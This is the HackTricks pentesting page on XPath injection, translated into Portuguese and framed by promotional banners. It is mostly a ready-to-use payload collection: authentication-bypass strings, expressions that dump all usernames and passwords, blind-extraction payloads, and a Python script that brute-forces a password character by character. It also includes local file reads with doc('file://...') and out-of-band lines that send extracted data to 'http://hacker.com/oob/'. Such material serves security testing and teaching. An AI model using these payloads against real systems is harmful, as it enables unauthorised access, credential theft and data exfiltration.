hacktricks/pentesting-web/xpath-injection.md

14 KiB

Injeção de XPATH

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real

Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Sintaxe Básica

Uma técnica de ataque conhecida como Injeção de XPATH é utilizada para aproveitar aplicações que formam consultas XPath (Linguagem de Caminho XML) com base na entrada do usuário para consultar ou navegar em documentos XML.

Nós Descritos

Expressões são usadas para selecionar vários nós em um documento XML. Essas expressões e suas descrições são resumidas abaixo:

  • nodename: Todos os nós com o nome "nodename" são selecionados.
  • /: A seleção é feita a partir do nó raiz.
  • //: Nós que correspondem à seleção a partir do nó atual são selecionados, independentemente de sua localização no documento.
  • .: O nó atual é selecionado.
  • ..: O pai do nó atual é selecionado.
  • @: Atributos são selecionados.

Exemplos de XPATH

Exemplos de expressões de caminho e seus resultados incluem:

  • livraria: Todos os nós com o nome "livraria" são selecionados.
  • /livraria: O elemento raiz livraria é selecionado. É observado que um caminho absoluto para um elemento é representado por um caminho que começa com uma barra (/).
  • livraria/livro: Todos os elementos livro que são filhos de livraria são selecionados.
  • //livro: Todos os elementos livro no documento são selecionados, independentemente de sua localização.
  • livraria//livro: Todos os elementos livro que são descendentes do elemento livraria são selecionados, não importa sua posição sob o elemento livraria.
  • //@lang: Todos os atributos com o nome lang são selecionados.

Utilização de Predicados

Predicados são usados para refinar seleções:

  • /livraria/livro[1]: O primeiro elemento livro filho do elemento livraria é selecionado. Uma solução alternativa para as versões do IE de 5 a 9, que indexam o primeiro nó como [0], é definir a SelectionLanguage para XPath através do JavaScript.
  • /livraria/livro[last()]: O último elemento livro filho do elemento livraria é selecionado.
  • /livraria/livro[last()-1]: O penúltimo elemento livro filho do elemento livraria é selecionado.
  • /livraria/livro[position()<3]: Os dois primeiros elementos livro filhos do elemento livraria são selecionados.
  • //título[@lang]: Todos os elementos título com um atributo lang são selecionados.
  • //título[@lang='en']: Todos os elementos título com um valor de atributo "lang" de "en" são selecionados.
  • /livraria/livro[preço>35.00]: Todos os elementos livro da livraria com um preço maior que 35.00 são selecionados.
  • /livraria/livro[preço>35.00]/título: Todos os elementos título dos elementos livro da livraria com um preço maior que 35.00 são selecionados.

Manipulação de Nós Desconhecidos

Curingas são empregados para corresponder a nós desconhecidos:

  • *: Corresponde a qualquer nó de elemento.
  • @*: Corresponde a qualquer nó de atributo.
  • node(): Corresponde a qualquer nó de qualquer tipo.

Outros exemplos incluem:

  • /livraria/*: Seleciona todos os nós de elementos filhos do elemento livraria.
  • //*: Seleciona todos os elementos no documento.
  • //título[@*]: Seleciona todos os elementos título com pelo menos um atributo de qualquer tipo.

Exemplo

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Acesse as informações

XPath Injection é uma vulnerabilidade que permite que um invasor modifique as consultas XPath de um aplicativo web para obter informações não autorizadas. O atacante pode manipular os parâmetros da consulta XPath para acessar dados confidenciais, como senhas, informações de usuários e outros dados sensíveis armazenados no banco de dados. Para prevenir ataques de injeção XPath, é importante validar e sanitizar adequadamente todas as entradas do usuário antes de executar consultas XPath no aplicativo web.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificar e roubar o esquema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Autenticação Bypass

Exemplo de consultas:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Bypass de OR em usuário e senha (mesmo valor em ambos)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Explorando a injeção de nulo

Username: ' or 1]%00

Duplo OU no nome de usuário ou na senha (é válido com apenas 1 campo vulnerável)

IMPORTANTE: Observe que o "e" é a primeira operação realizada.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extração de String

A saída contém strings e o usuário pode manipular os valores para pesquisar:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploração Cega

Obter o comprimento de um valor e extrair através de comparações:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemplo em Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Ler arquivo

Para ler o conteúdo de um arquivo usando injeção de XPath, você pode usar a seguinte sintaxe no parâmetro de entrada:

' or '1'='1

Isso fará com que a consulta XPath retorne verdadeiro, ignorando qualquer outra restrição e exibindo o conteúdo do arquivo desejado.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploração OOB

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Ferramenta automática

Referências

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real

Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais nas plataformas

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: